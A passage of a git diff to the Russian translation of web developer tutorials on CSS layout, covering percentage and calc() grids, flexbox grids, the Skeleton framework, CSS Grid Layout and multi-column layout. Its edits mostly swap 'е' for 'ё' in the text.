        Теперь идёт немного более трудоёмкая часть - нам нужно обновить все наши правила .col.span, чтобы использовать проценты, а не ширину пикселей. Это занимает немного времени с калькулятором; чтобы сэкономить вам немного усилий, мы сделали это для вас ниже.
        
 
 
        Обновите нижний блок правил CSS следующим образом:
        
 
@@ -231,14 +231,14 @@ body {
 
        Теперь сохраните свой код, загрузите его в браузере и попробуйте изменить ширину видового экрана - вы должны увидеть, что ширины столбцов хорошо меняются. Отлично!
        
 
 
        
-
        Примечание: Если вам не удается заставить приведенный выше пример работать, попробуйте сравнить его с нашей готовой версией на GitHub (см. также запуск в режиме реального времени).
        
+
        Примечание: Если вам не удаётся заставить приведённый выше пример работать, попробуйте сравнить его с нашей готовой версией на GitHub (см. также запуск в режиме реального времени).
        
 
        
 
 
        Более простые вычисления с использованием функции calc()
        
 
-
        Вы можете использовать функцию {{cssxref ("calc ()")}} для выполнения математики прямо внутри вашего CSS - это позволяет вставлять простые математические уравнения в ваши значения CSS, чтобы рассчитать, какое значение должно быть. Это особенно полезно, когда необходимо выполнить сложную математику и вы даже можете сделать расчет, который использует разные единицы, например «Я хочу, чтобы высота этого элемента всегда была на 100% от высоты родителя, минус 50 пикселей». См. этот пример из учебника API MediaRecorder.
        
+
        Вы можете использовать функцию {{cssxref ("calc ()")}} для выполнения математики прямо внутри вашего CSS - это позволяет вставлять простые математические уравнения в ваши значения CSS, чтобы рассчитать, какое значение должно быть. Это особенно полезно, когда необходимо выполнить сложную математику и вы даже можете сделать расчёт, который использует разные единицы, например «Я хочу, чтобы высота этого элемента всегда была на 100% от высоты родителя, минус 50 пикселей». См. этот пример из учебника API MediaRecorder.
        
 
-
        В любом случае, вернемся к нашим сетям! Любой столбец, который охватывает более одного столбца нашей сетки, имеет общую ширину 6,25%, умноженную на количество столбцов, спаренных плюс 2.08333333%, умноженное на количество желобов (которые всегда будут числом столбцов минус 1). Функция calc () позволяет нам делать это вычисление прямо внутри значения ширины, поэтому для любого элемента, охватывающего 4 столбца, мы можем это сделать, например:
        
+
        В любом случае, вернёмся к нашим сетям! Любой столбец, который охватывает более одного столбца нашей сетки, имеет общую ширину 6,25%, умноженную на количество столбцов, спаренных плюс 2.08333333%, умноженное на количество желобов (которые всегда будут числом столбцов минус 1). Функция calc () позволяет нам делать это вычисление прямо внутри значения ширины, поэтому для любого элемента, охватывающего 4 столбца, мы можем это сделать, например:
        
 
 
        .col.span4 {
   width: calc((6.25%*4) + (2.08333333%*3));
@@ -259,11 +259,11 @@ body {
 .col.span12 { width: calc((6.25%*12) + (2.08333333%*11)); }
        
 
 
        
-
        Примечание: Вы можете увидеть нашу законченную версию в файле liquid-grid-calc.html (также см. ее в режиме реального времени).
        
+
        Примечание: Вы можете увидеть нашу законченную версию в файле liquid-grid-calc.html (также см. её в режиме реального времени).
        
 
        
 
 
        
-
        Примечание: Если вы не можете заставить это работать, возможно, это связано с тем, что ваш браузер не поддерживает функцию calc (), хотя он довольно хорошо поддерживается в браузерах - еще в IE9.
        
+
        Примечание: Если вы не можете заставить это работать, возможно, это связано с тем, что ваш браузер не поддерживает функцию calc (), хотя он довольно хорошо поддерживается в браузерах - ещё в IE9.
        
 
        
 
 
        Семантические и "несемантические" сетчатые системы
        
@@ -326,13 +326,13 @@ body {
 
 
        Также имейте в виду, что если содержимое элементов становится шире, чем занимаемые им строки, оно будет переполняться и выглядит как беспорядок.
        
 
-
        Самое большое ограничение этой системы состоит в том, что она по существу одномерна. Мы имеем дело со столбцами и охватываем элементы по столбцам, но не по строкам. С помощью этих старых методов компоновки очень сложно контролировать высоту элементов без явной установки высоты, и это тоже очень негибкий подход - он работает только, если вы можете гарантировать, что ваш контент будет определенной высоты.
        
+
        Самое большое ограничение этой системы состоит в том, что она по существу одномерна. Мы имеем дело со столбцами и охватываем элементы по столбцам, но не по строкам. С помощью этих старых методов компоновки очень сложно контролировать высоту элементов без явной установки высоты, и это тоже очень негибкий подход - он работает только, если вы можете гарантировать, что ваш контент будет определённой высоты.
        
 
 
        Flexbox grids?
        
 
-
        Если вы прочтете нашу предыдущую статью о flexbox, вы можете подумать, что flexbox - идеальное решение для создания сетчатой системы. В настоящее время доступно множество систем gridbox на основе flexbox и flexbox может решить многие из проблем, которые мы уже обнаружили при создании нашей сетки выше.
        
+
        Если вы прочтёте нашу предыдущую статью о flexbox, вы можете подумать, что flexbox - идеальное решение для создания сетчатой системы. В настоящее время доступно множество систем gridbox на основе flexbox и flexbox может решить многие из проблем, которые мы уже обнаружили при создании нашей сетки выше.
        
 
-
        Однако flexbox никогда не разрабатывался как сетчатая система и создает новый набор проблем при использовании в качестве одного. В качестве простого примера мы можем использовать тот же пример разметки, который мы использовали выше, и использовать следующий CSS для стилей классов-оболочек (wrapper), row и col классов:
        
+
        Однако flexbox никогда не разрабатывался как сетчатая система и создаёт новый набор проблем при использовании в качестве одного. В качестве простого примера мы можем использовать тот же пример разметки, который мы использовали выше, и использовать следующий CSS для стилей классов-оболочек (wrapper), row и col классов:
        
 
 
        body {
   width: 90%;
@@ -357,9 +357,9 @@ body {
   background: rgb(255,150,150);
 }
        
 
-
        Вы можете попробовать сделать эти замены в своем собственном примере или посмотреть на наш пример кода flexbox-grid.html (см. также он работает в режиме реального времени).
        
+
        Вы можете попробовать сделать эти замены в своём собственном примере или посмотреть на наш пример кода flexbox-grid.html (см. также он работает в режиме реального времени).
        
 
-
        Здесь мы превращаем каждую строку в гибкий контейнер. С сеткой на основе flexbox нам все еще нужны строки, чтобы мы могли иметь элементы, которые составляют менее 100%. Мы установили этот контейнер для display: flex.
        
+
        Здесь мы превращаем каждую строку в гибкий контейнер. С сеткой на основе flexbox нам все ещё нужны строки, чтобы мы могли иметь элементы, которые составляют менее 100%. Мы установили этот контейнер для display: flex.
        
 
 
        На .col мы устанавливаем первое значение свойства {{cssxref ("flex")}} ({{cssxref ("flex-grow")}}) до 1, чтобы наши объекты могли расти, второе значение ({{cssxref (" flex-shrink ")}}) до 1, поэтому элементы могут сокращаться, а третье значение ({{cssxref (" flex-basis ")}}) - auto. Поскольку наш элемент имеет набор {{cssxref ("width")}}, auto будет использовать эту ширину в качестве базового значения flex (flex-basis).
        
 
@@ -373,11 +373,11 @@ body {
 
 
        Flexbox является одномерным по дизайну. Он имеет дело с одним измерением - со строкой или столбцом. Мы не можем создать строгую сетку для столбцов и строк, что означает, что если мы будем использовать flexbox для нашей сетки, нам все равно нужно рассчитать проценты, как для плавающего макета.
        
 
-
        В вашем проекте вы все равно можете использовать сетку flexbox из-за дополнительных возможностей выравнивания и распределения пространства. Flexbox обеспечивает надплавки. Однако вам следует помнить, что вы все еще используете инструмент для чего-то другого, кроме того, для чего он предназначен. Таким образом, вы можете почувствовать, что он заставляет вас прыгать через дополнительные обручи, чтобы получить конечный результат, который вы хотите.
        
+
        В вашем проекте вы все равно можете использовать сетку flexbox из-за дополнительных возможностей выравнивания и распределения пространства. Flexbox обеспечивает надплавки. Однако вам следует помнить, что вы все ещё используете инструмент для чего-то другого, кроме того, для чего он предназначен. Таким образом, вы можете почувствовать, что он заставляет вас прыгать через дополнительные обручи, чтобы получить конечный результат, который вы хотите.
        
 
 
        Системы сторонних сетей
        
 
-
        Теперь, когда мы понимаем математику за нашими расчетами в сетке, мы находимся в хорошем месте, чтобы взглянуть на некоторые из сторонних сетевых систем, которые используются совместно. Если вы ищете «CSS Grid framework» в Интернете, вы найдете огромный список вариантов на выбор. В популярных структурах, таких как Bootstrap и Foundation, есть сетка. Существуют также автономные сетчатые системы, разработанные с использованием CSS или с использованием препроцессоров.
        
+
        Теперь, когда мы понимаем математику за нашими расчётами в сетке, мы находимся в хорошем месте, чтобы взглянуть на некоторые из сторонних сетевых систем, которые используются совместно. Если вы ищете «CSS Grid framework» в Интернете, вы найдёте огромный список вариантов на выбор. В популярных структурах, таких как Bootstrap и Foundation, есть сетка. Существуют также автономные сетчатые системы, разработанные с использованием CSS или с использованием препроцессоров.
        
 
 
        Давайте рассмотрим одну из этих автономных систем, поскольку она демонстрирует общие методы работы с сеткой. Сетка, которую мы будем использовать, является частью Skeleton, простой CSS-структуры.
        
 
@@ -462,28 +462,28 @@ body {
 
        Попробуйте сохранить свой HTML-файл и загрузить его в свой браузер, чтобы увидеть эффект.
        
 
 
        
-
        Примечание. Если вам не удается заставить этот пример работать, попробуйте сравнить его с нашим html-skeleton-finished.html - файлом (см. также в режиме реального времени).
        
+
        Примечание. Если вам не удаётся заставить этот пример работать, попробуйте сравнить его с нашим html-skeleton-finished.html - файлом (см. также в режиме реального времени).
        
 
        
 
 
        Если вы посмотрите в файле skeleton.css, вы увидите, как это работает. Например, у Skeleton определены следующие элементы стиля с добавленными к ним классами «три столбца».
        
 
 
        .three.columns { width: 22%; }
        
 
-
        Весь Skeleton (или любая другая структура сетки) выполняет настройку предопределенных классов, которые вы можете использовать, добавив их в свою разметку. Это точно так же, как если бы вы сами делали расчет этих процентов.
        
+
        Весь Skeleton (или любая другая структура сетки) выполняет настройку предопределённых классов, которые вы можете использовать, добавив их в свою разметку. Это точно так же, как если бы вы сами делали расчёт этих процентов.
        
 
-
        Как вы можете видеть, нам нужно написать очень мало CSS при использовании Skeleton. Он касается всех плавающих для нас, когда мы добавляем классы в нашу разметку. Именно эта способность нести ответственность за компоновку над чем-то еще, что делает использование рамки для сетчатой системы неотразимым выбором!
        
+
        Как вы можете видеть, нам нужно написать очень мало CSS при использовании Skeleton. Он касается всех плавающих для нас, когда мы добавляем классы в нашу разметку. Именно эта способность нести ответственность за компоновку над чем-то ещё, что делает использование рамки для сетчатой системы неотразимым выбором!
        
 
-
        Skeleton - это более простая сетка, чем некоторые из структур, с которыми вы можете столкнуться. Сетки в больших рамках, таких как Bootstrap и Foundation, предлагают больше функциональности и дополнительные точки останова для различной ширины экрана. Тем не менее, все они работают аналогичным образом - добавив определенные классы в свою разметку, вы можете контролировать, как элемент выложен с использованием предопределенной сетки.
        
+
        Skeleton - это более простая сетка, чем некоторые из структур, с которыми вы можете столкнуться. Сетки в больших рамках, таких как Bootstrap и Foundation, предлагают больше функциональности и дополнительные точки останова для различной ширины экрана. Тем не менее, все они работают аналогичным образом - добавив определённые классы в свою разметку, вы можете контролировать, как элемент выложен с использованием предопределённой сетки.
        
 
 
        Родные CSS Сетки с Grid Layout
        
 
-
        В начале этой статьи мы сказали, что CSS ранее не имел реальной системы для создания макетов сетки, но это изменится. Хотя мы еще не можем использовать встроенную сетевую систему CSS, в следующем году мы увидим поддержку браузера для модуля компоновки сетки CSS (CSS Grid Layout Module).
        
+
        В начале этой статьи мы сказали, что CSS ранее не имел реальной системы для создания макетов сетки, но это изменится. Хотя мы ещё не можем использовать встроенную сетевую систему CSS, в следующем году мы увидим поддержку браузера для модуля компоновки сетки CSS (CSS Grid Layout Module).
        
 
 
        В настоящее время вы можете использовать только те методы, которые мы покажем вам в браузерах, которые реализуют макет сетки CSS «за флагом» - это означает, что он в настоящее время реализован, но в экспериментальном состоянии, которое вам нужно включить.
        
 
-
        В Firefox, например, вам нужно перейти к URL-адресу about: config, выполнить поиск по предпочтению layout.css.grid.enabled и дважды щелкнуть его, чтобы включить CSS-сетки. Вы можете узнать, как использовать его в других браузерах, посетив Grid by Example.
        
+
        В Firefox, например, вам нужно перейти к URL-адресу about: config, выполнить поиск по предпочтению layout.css.grid.enabled и дважды щёлкнуть его, чтобы включить CSS-сетки. Вы можете узнать, как использовать его в других браузерах, посетив Grid by Example.
        
 
-
        Мы рассмотрели структуру Скелетной сетки выше - как и другие сторонние решетки и даже ручные сетки, для этого требуется добавить <div> для формирования строк, а затем указать количество столбцов, которые будут охватывать элементы в этих рядах.
        
+
        Мы рассмотрели структуру Скелетной сетки выше - как и другие сторонние решётки и даже ручные сетки, для этого требуется добавить <div> для формирования строк, а затем указать количество столбцов, которые будут охватывать элементы в этих рядах.
        
 
 
        С помощью CSS Grid Layout вы можете полностью указать свою сетку в CSS, не добавляя эти вспомогательные классы в разметку вообще. Давайте рассмотрим наш простой пример и посмотрим, как мы будем создавать тот же макет с помощью CSS Grid Layout.
        
 
@@ -510,7 +510,7 @@ body {
   <div class="col span2">16</div>
 </div>
        
 
-
        На этот раз у нас есть родительский <div> с классом обертки (wrapper), а затем все дочерние элементы просто появляются непосредственно внутри обертки - никаких элементов строки. Мы добавили класс к элементам, которые должны охватывать более одного столбца.
        
+
        На этот раз у нас есть родительский <div> с классом обёртки (wrapper), а затем все дочерние элементы просто появляются непосредственно внутри обёртки - никаких элементов строки. Мы добавили класс к элементам, которые должны охватывать более одного столбца.
        
 
 
        Теперь добавьте следующее в элемент {{htmlelement ("style")}}:
        
 
@@ -529,7 +529,7 @@ body {
 
 
        Здесь мы устанавливаем правило .wrapper, поэтому оно составляет 90% от ширины тела, с центром и имеет {{cssxref ("max-width")}} 960px.
        
 
-
        Теперь для свойств сетки CSS. Мы можем объявить сетку, используя значение grid свойства {{cssxref ("display")}}, установить желоб с свойством {{cssxref ("grid-gap")}}, а затем создать сетку из 12 столбцов равной ширине, используя {{cssxref ("grid-template-columns")}}, новую функцию repeat() и новую единицу, определенную для макета сетки - блок fr.
        
+
        Теперь для свойств сетки CSS. Мы можем объявить сетку, используя значение grid свойства {{cssxref ("display")}}, установить жёлоб с свойством {{cssxref ("grid-gap")}}, а затем создать сетку из 12 столбцов равной ширине, используя {{cssxref ("grid-template-columns")}}, новую функцию repeat() и новую единицу, определённую для макета сетки - блок fr.
        
 
 
        Блок fr представляет собой блок фракции - он описывает долю доступного пространства в контейнере сетки. Если все столбцы равны 1fr, каждый из них занимает равное количество места. Это устраняет необходимость вычислять проценты для создания гибкой сетки.
        
 
@@ -567,7 +567,7 @@ body {
 
 
        Попробуйте сохранить и обновить, и вы увидите, что контейнеры охватывают несколько столбцов, если это необходимо. Круто!
        
 
-
        Сетки CSS являются двумерными, так как макет растет и сжимается, элементы остаются выровненными по горизонтали и по вертикали.
        
+
        Сетки CSS являются двумерными, так как макет растёт и сжимается, элементы остаются выровненными по горизонтали и по вертикали.
        
 
 
        Вы можете проверить это, заменив последние 4 col <div> s следующим:
        
 
@@ -576,14 +576,14 @@ body {
 <div class="col span3">15this<br>is<br>less</div>
 <div class="col span2">16</div>
        
 
-
        Здесь мы намеренно добавили некоторые фрагменты строки ({{htmlelement ("br")}}), чтобы заставить некоторые из столбцов стать выше других. Если вы попытаетесь сохранить и обновить, вы увидите, что столбцы регулируют их высоту, как самый высокий контейнер, поэтому все остается аккуратным.
        
+
        Здесь мы намеренно добавили некоторые фрагменты строки ({{htmlelement ("br")}}), чтобы заставить некоторые из столбцов стать выше других. Если вы попытаетесь сохранить и обновить, вы увидите, что столбцы регулируют их высоту, как самый высокий контейнер, поэтому все остаётся аккуратным.
        
 
 
        Окончательный макет выглядит так:
        
 
 
        
 
 
        
-
        Примечание: Если вам не удается заставить этот пример работать, вы можете проверить свой код на нашу законченную версию (также смотрите, как она работает в прямом эфире).
        
+
        Примечание: Если вам не удаётся заставить этот пример работать, вы можете проверить свой код на нашу законченную версию (также смотрите, как она работает в прямом эфире).
        
 
        
 
 
        Другие полезные функции сетки CSS
        
@@ -609,7 +609,7 @@ body {
 
 
        Нам также не нужно использовать маржу для фальшивых желобов или явно рассчитать их ширину - сетка CSS имеет эту функциональность, встроенную прямо в свойство grid-gap.
        
 
-
        Мы просто касаемся поверхности того, что возможно с помощью CSS Grid Layout, но главное, что нужно понять в контексте этой статьи, это то, что вам не нужно создавать сетку с сеткой - она одна. Вы можете написать CSS, который помещает элемент непосредственно в предопределенную сетку. Это первый раз, когда это было возможно с помощью CSS и это улучшится, когда поддержка браузера закрепится.
        
+
        Мы просто касаемся поверхности того, что возможно с помощью CSS Grid Layout, но главное, что нужно понять в контексте этой статьи, это то, что вам не нужно создавать сетку с сеткой - она одна. Вы можете написать CSS, который помещает элемент непосредственно в предопределённую сетку. Это первый раз, когда это было возможно с помощью CSS и это улучшится, когда поддержка браузера закрепится.
        
 
 
        Активное обучение: Напишите свою собственную простую сетку
        
 
@@ -626,7 +626,7 @@ body {
 
 
        Резюме
        
 
-
        Прочитав эту статью, вы должны теперь понять, как grid-схемы и grid-структуры работают в CSS. Вы также заглянули в будущее сетки CSS и теперь должны понимать, что используемые нами grid-сетки - это, по сути, стоп-решение, пока у нас не будет широко распространенного способа достижения этого в CSS.
        
+
        Прочитав эту статью, вы должны теперь понять, как grid-схемы и grid-структуры работают в CSS. Вы также заглянули в будущее сетки CSS и теперь должны понимать, что используемые нами grid-сетки - это, по сути, стоп-решение, пока у нас не будет широко распространённого способа достижения этого в CSS.
        
 
 
        {{PreviousMenuNext("Learn/CSS/CSS_layout/Flexbox", "Learn/CSS/CSS_layout/Floats", "Learn/CSS/CSS_layout")}}
        
 
diff --git a/files/ru/learn/css/css_layout/index.html b/files/ru/learn/css/css_layout/index.html
index d5bc2e8e58..1fce962206 100644
--- a/files/ru/learn/css/css_layout/index.html
+++ b/files/ru/learn/css/css_layout/index.html
@@ -17,7 +17,7 @@ tags:
   - TopicStub
   - flexbox
   - float
-  - Верстка
+  - Вёрстка
   - Сетка
   - позиционирование
   - разметка страницы
@@ -43,7 +43,7 @@ translation_of: Learn/CSS/CSS_layout
 
 
        Руководство
        
 
-
        Эти разделы содержат инструкции по основным инструментам и методам верстки, доступным в CSS. На последнем уроке у Вас будет возможность оценить понимание пройденного материала посредством вёрстки веб-страницы.
        
+
        Эти разделы содержат инструкции по основным инструментам и методам вёрстки, доступным в CSS. На последнем уроке у Вас будет возможность оценить понимание пройденного материала посредством вёрстки веб-страницы.
        
 
 
        
  
        Введение в CSS вёрстку
        
@@ -54,26 +54,26 @@ translation_of: Learn/CSS/CSS_layout
 
 
        
  
        Flexbox
        
- 
        Flexbox - это метод одномерной верстки для размещения элементов в строках или столбцах. Элементы растягиваются, чтобы заполнить дополнительное пространство и сжимаются, чтобы поместиться в меньшее пространство. Данный раздел объясняет фундаментальные принципы.
        
+ 
        Flexbox - это метод одномерной вёрстки для размещения элементов в строках или столбцах. Элементы растягиваются, чтобы заполнить дополнительное пространство и сжимаются, чтобы поместиться в меньшее пространство. Данный раздел объясняет фундаментальные принципы.
        
  
        Grids
        
- 
        CSS Grid Layout - это двумерная система верстки для веб. Она позволяет вам размещать контент в строках и столбцах и имеет множество возможностей, которые упрощают построение сложных макетов. Этот раздел даст вам все, что нужно знать для начала работы с макетом страницы.
        
+ 
        CSS Grid Layout - это двумерная система вёрстки для веб. Она позволяет вам размещать контент в строках и столбцах и имеет множество возможностей, которые упрощают построение сложных макетов. Этот раздел даст вам все, что нужно знать для начала работы с макетом страницы.
        
  
        Floats
        
- 
        Изначально созданное для плавающих изображений внутри текстовых блоков, свойство {{cssxref("float")}} стало одним из наиболее часто используемых инструментов для создания мульти-колоночной верстки веб-страниц. С появлением Flexbox и Grid оно вернулось к первоначальному предназначению, как объясняется в этом разделе.
        
+ 
        Изначально созданное для плавающих изображений внутри текстовых блоков, свойство {{cssxref("float")}} стало одним из наиболее часто используемых инструментов для создания мульти-колоночной вёрстки веб-страниц. С появлением Flexbox и Grid оно вернулось к первоначальному предназначению, как объясняется в этом разделе.
        
 
        
 
 
        
  
        Позиционирование
        
  
        Позиционирование позволяет вам брать элементы из нормального потока и изменять их поведение, например, заставляет находиться друг под другом или всегда оставаться в одном и том же месте внутри окна просмотра браузера. В этом разделе объясняются различные значения {{cssxref("position")}} и способы их применения.
        
- 
        Мульти-колоночная верстка
        
- 
        Спецификация мульти-колоночной верстки дает вам способ размещения содержимого  в столбцах по аналогии с версткой газет.  Этот раздел объясняет, как использовать эту возможность.
        
- 
        Устаревшие методы верстки
        
- 
        Grid-системы - это очень распространенная возможность, используемая в CSS layouts, и до CSS Grid Layout они, как правило, реализовывались с помощью floats или других возможностей верстки. Вы представляете свою верстку в виде заданного числа столбцов (например, 4 или 6), а затем вы помещаете содержимое в эти воображаемые столбцы. В этом разделе мы рассмотрим, как работают эти старые методы, чтобы вы понимали, как они использовались, если столкнётесь со старыми проектами.
        
+ 
        Мульти-колоночная вёрстка
        
+ 
        Спецификация мульти-колоночной вёрстки даёт вам способ размещения содержимого  в столбцах по аналогии с вёрсткой газет.  Этот раздел объясняет, как использовать эту возможность.
        
+ 
        Устаревшие методы вёрстки
        
+ 
        Grid-системы - это очень распространённая возможность, используемая в CSS layouts, и до CSS Grid Layout они, как правило, реализовывались с помощью floats или других возможностей вёрстки. Вы представляете свою вёрстку в виде заданного числа столбцов (например, 4 или 6), а затем вы помещаете содержимое в эти воображаемые столбцы. В этом разделе мы рассмотрим, как работают эти старые методы, чтобы вы понимали, как они использовались, если столкнётесь со старыми проектами.
        
  
        Поддержка старыми браузерами
        
  
        
- 
        В этом модуле мы рекомендуем использовать Flexbox и Grid как основные методы верстки для ваших проектов. Однако, ваш сайт могут посещать со старых браузеров или браузеров, которые не поддерживают данные методы. В сети это будет всегда - по мере появления новых возможностей, для различных браузеров будут приоритетны различные вещи. Этот раздел объясняет, как использовать современные веб-технологии без блокировки пользователей со старыми технологиями.
        
+ 
        В этом модуле мы рекомендуем использовать Flexbox и Grid как основные методы вёрстки для ваших проектов. Однако, ваш сайт могут посещать со старых браузеров или браузеров, которые не поддерживают данные методы. В сети это будет всегда - по мере появления новых возможностей, для различных браузеров будут приоритетны различные вещи. Этот раздел объясняет, как использовать современные веб-технологии без блокировки пользователей со старыми технологиями.
        
  
        
- 
        Фундаментальное понятие верстки
        
- 
        Оценка ваших знаний различных методов верстки посредством вёрстки веб-страницы.
        
+ 
        Фундаментальное понятие вёрстки
        
+ 
        Оценка ваших знаний различных методов вёрстки посредством вёрстки веб-страницы.
        
 
        
 
 
        Смотрите также
        
diff --git a/files/ru/learn/css/css_layout/introduction/index.html b/files/ru/learn/css/css_layout/introduction/index.html
index 422a215b1c..218e2a5c19 100644
--- a/files/ru/learn/css/css_layout/introduction/index.html
+++ b/files/ru/learn/css/css_layout/introduction/index.html
@@ -7,7 +7,7 @@ translation_of: Learn/CSS/CSS_layout/Introduction
 
 
        {{NextMenu("Learn/CSS/CSS_layout/Normal_Flow", "Learn/CSS/CSS_layout")}}
        
 
-
        В этой статье мы рассмотрим некоторые функции макета CSS, которые мы затрагивали в предыдущих статьях, например различные значения свойства {{cssxref("display")}}, и разберем некоторые концепции, которые будут рассмотрены в этой статье. 
        
+
        В этой статье мы рассмотрим некоторые функции макета CSS, которые мы затрагивали в предыдущих статьях, например различные значения свойства {{cssxref("display")}}, и разберём некоторые концепции, которые будут рассмотрены в этой статье. 
        @@ -35,7 +35,7 @@ translation_of: Learn/CSS/CSS_layout/Introduction
      • Многоколоночный макет
        • -

        Каждый метод имеет свои преимущества и недостатки и ни одна техника не предназначена для использования в изоляции от других. Разбирая данные методы, вы поймете, какой из них лучший инструмент разметки для каждой задачи.

        +

        Каждый метод имеет свои преимущества и недостатки и ни одна техника не предназначена для использования в изоляции от других. Разбирая данные методы, вы поймёте, какой из них лучший инструмент разметки для каждой задачи.

        Normal flow

        @@ -63,7 +63,7 @@ translation_of: Learn/CSS/CSS_layout/Introduction

        Примечание: Направление, в котором отображается содержимое блока, называется Block Direction. Block Direction вертикально в языках типа Английского, имеющих горизонтальное направление письма. В языках, типа Японского, имеющих вертикальное направление письма, Block Direction горизонтально. Соответствующее Inline Direction отвечает за  направление отображения строковых элементов (таких как предложение).

        -

        Когда вы используете CSS для создания разметки, вы двигаете элементы относительно их обычного расположения, но для многих элементов на вашей странице их обычное положение - это именно то, что вам подойдет. Именно поэтому важно начинать верстку с создания правильно организованного HTML документа, для того, чтобы базовое расположение элементов впоследствии работало на вас.

        +

        Когда вы используете CSS для создания разметки, вы двигаете элементы относительно их обычного расположения, но для многих элементов на вашей странице их обычное положение - это именно то, что вам подойдёт. Именно поэтому важно начинать вёрстку с создания правильно организованного HTML документа, для того, чтобы базовое расположение элементов впоследствии работало на вас.

        Методы CSS, которыми вы можете управлять разметкой элементов:

        @@ -77,7 +77,7 @@ translation_of: Learn/CSS/CSS_layout/Introduction

        Свойство display 

        -

        Значения свойства display являются главными методами верстки разметки страницы в CSS. Это свойство позволяет нам менять то, как что-то отображается по умолчанию. Каждый элемент по умолчанию имеет свойство display, влияющее на то, как этот элемент отображается. Например, параграфы на английском располагаются один под другим только потому что они имеют по умолчанию свойство  display: block. Если же вы создадите ссылку внутри параграфа, эта ссылка будет отображаться в общем потоке с остальным текстом, без переноса на новую строку. Это потому что у элемента {{htmlelement("a")}} по умолчанию установлено свойство display: inline.

        +

        Значения свойства display являются главными методами вёрстки разметки страницы в CSS. Это свойство позволяет нам менять то, как что-то отображается по умолчанию. Каждый элемент по умолчанию имеет свойство display, влияющее на то, как этот элемент отображается. Например, параграфы на английском располагаются один под другим только потому что они имеют по умолчанию свойство  display: block. Если же вы создадите ссылку внутри параграфа, эта ссылка будет отображаться в общем потоке с остальным текстом, без переноса на новую строку. Это потому что у элемента {{htmlelement("a")}} по умолчанию установлено свойство display: inline.

        Вы можете изменить дефолтное поведение display. К примеру,  {{htmlelement("li")}} отображается как display: block по умолчанию, это означает что элементы списка отображаются один за другим в нашем документе.Если мы изменим значение display на inline они будут отображаться друг за другом, как это делают слова в предложении. Тот факт, что вы можете изменить значение display для любого элемента означает, что вы можете выбирать HTML элементы по их семантическому значению, не беспокоясь о том как они будут выглядеть. То как они выглядят это то, что вы можете поменять.

        @@ -85,7 +85,7 @@ translation_of: Learn/CSS/CSS_layout/Introduction

        Flexbox

        -

        Flexbox (сокращение от Flexible Box Layout) это модуль, разработанный для облегчения верстки в одном из измерений — как ряд или как колонка. Для использования, установите свойство display: flex для родительского элемента тех элементов, к которым хотите применить этот тип верстки; все его прямые потомки станут flex элементами. Рассмотрим это на простом примере.

        +

        Flexbox (сокращение от Flexible Box Layout) это модуль, разработанный для облегчения вёрстки в одном из измерений — как ряд или как колонка. Для использования, установите свойство display: flex для родительского элемента тех элементов, к которым хотите применить этот тип вёрстки; все его прямые потомки станут flex элементами. Рассмотрим это на простом примере.

        Разметка HTML, представленная ниже, состоит из элемента wrapper, включающего в себя три {{htmlelement("div")}} элемента. По умолчанию все они будут изображаться как блочные, один под другим.

        @@ -165,7 +165,7 @@ translation_of: Learn/CSS/CSS_layout/Introduction

        В то время как flexbox предназначен для одномерной разметки, Grid Layout предназначен для двумерной — выстраивая предметы в ряды и столбцы.

        -

        Еще раз, вы можете переключиться на Grid Layout при помощи конкретного значения отображения — display: grid. Пример ниже использует разметку подобную примеру flex, а также мы определяем некоторые дорожки рядов и столбцов в родительском элементе, используя свойства {{cssxref("grid-template-rows")}} и {{cssxref("grid-template-columns")}} соответственно. Мы определили три столбца каждый по 1fr и два ряда по 100px. Мне не надо вводить какие-либо правила для дочерних элементов; они автоматически помещаются в ячейки, созданные нашей сеткой.

        +

        Ещё раз, вы можете переключиться на Grid Layout при помощи конкретного значения отображения — display: grid. Пример ниже использует разметку подобную примеру flex, а также мы определяем некоторые дорожки рядов и столбцов в родительском элементе, используя свойства {{cssxref("grid-template-rows")}} и {{cssxref("grid-template-columns")}} соответственно. Мы определили три столбца каждый по 1fr и два ряда по 100px. Мне не надо вводить какие-либо правила для дочерних элементов; они автоматически помещаются в ячейки, созданные нашей сеткой.

        -

        Остальная часть этого руководства освещает другие методы разметок, которые менее важны для основной структуры разметки вашей страницы, но все равно могут помочь вам в достижении определенных задач. Понимая природу задачи каждой разметки, вы вскоре обнаружите, что, глядя на конкретный компонент вашего дизайна, часто будет ясно какой тип разметки подходит лучше всего.

        +

        Остальная часть этого руководства освещает другие методы разметок, которые менее важны для основной структуры разметки вашей страницы, но все равно могут помочь вам в достижении определённых задач. Понимая природу задачи каждой разметки, вы вскоре обнаружите, что, глядя на конкретный компонент вашего дизайна, часто будет ясно какой тип разметки подходит лучше всего.

        Floats

        @@ -266,11 +266,11 @@ translation_of: Learn/CSS/CSS_layout/Introduction
        • left — Элемент выравнивается слева и другие элементы обтекают его справа.
        • right — Элемент выравнивается справа и другие элементы обтекают его слева.
          • -
        • none — Не задает float совсем. Это значение по умолчанию.
          • +
        • none — Не задаёт float совсем. Это значение по умолчанию.
        • inherit — Определяет, что значение свойства float должно быть унаследовано от родительского элемента.
        -

        В примере ниже мы задаем элементу <div> float - left и даем {{cssxref("margin")}} с правой стороны чтобы отталкивать текст от этого элемента. Это дает нам эффект того, что текст оборачивает этот блок и является большей частью того, что вам нужно знать о float, используемых в современном веб-дизайне.

        +

        В примере ниже мы задаём элементу <div> float - left и даём {{cssxref("margin")}} с правой стороны чтобы отталкивать текст от этого элемента. Это даёт нам эффект того, что текст оборачивает этот блок и является большей частью того, что вам нужно знать о float, используемых в современном веб-дизайне.

        @@ -31,7 +31,7 @@ original_slug: Learn/CSS/CSS_layout/Макет_с_несколькими_сто

        Сейчас мы будем изучать как использовать макет с несколькими столбцами, часто называемый multicol. Вы можете следовать за нами скачав файл отправной точки multicol и добавлять CSS в соответствующие места. В конце раздела вы можете посмотреть живой пример того, как конечный код должен выглядеть.

        -

        Наша отправная точка содержит немного очень простого HTML; обертка с классом container внутри которого имеется заголовок и несколько параграфов.

        +

        Наша отправная точка содержит немного очень простого HTML; обёртка с классом container внутри которого имеется заголовок и несколько параграфов.

        {{htmlelement("div")}} с классом контейнер станет нашим multicol контейнером. Мы включаем multicol используя одно из двух свойств {{cssxref("column-count")}} или {{cssxref("column-width")}}. Какое значение вы дадите свойству column-count столько столбцов он и создаст, поэтому если вы добавите следующий CSS в ваши стили и перезагрузите страницу, то получите три столбца:

        @@ -40,7 +40,7 @@ original_slug: Learn/CSS/CSS_layout/Макет_с_несколькими_сто } -

        Колонки, которые вы создаете имеют гибкую ширину — браузер решает какое пространство назначить каждому столбцу.

        +

        Колонки, которые вы создаёте имеют гибкую ширину — браузер решает какое пространство назначить каждому столбцу.
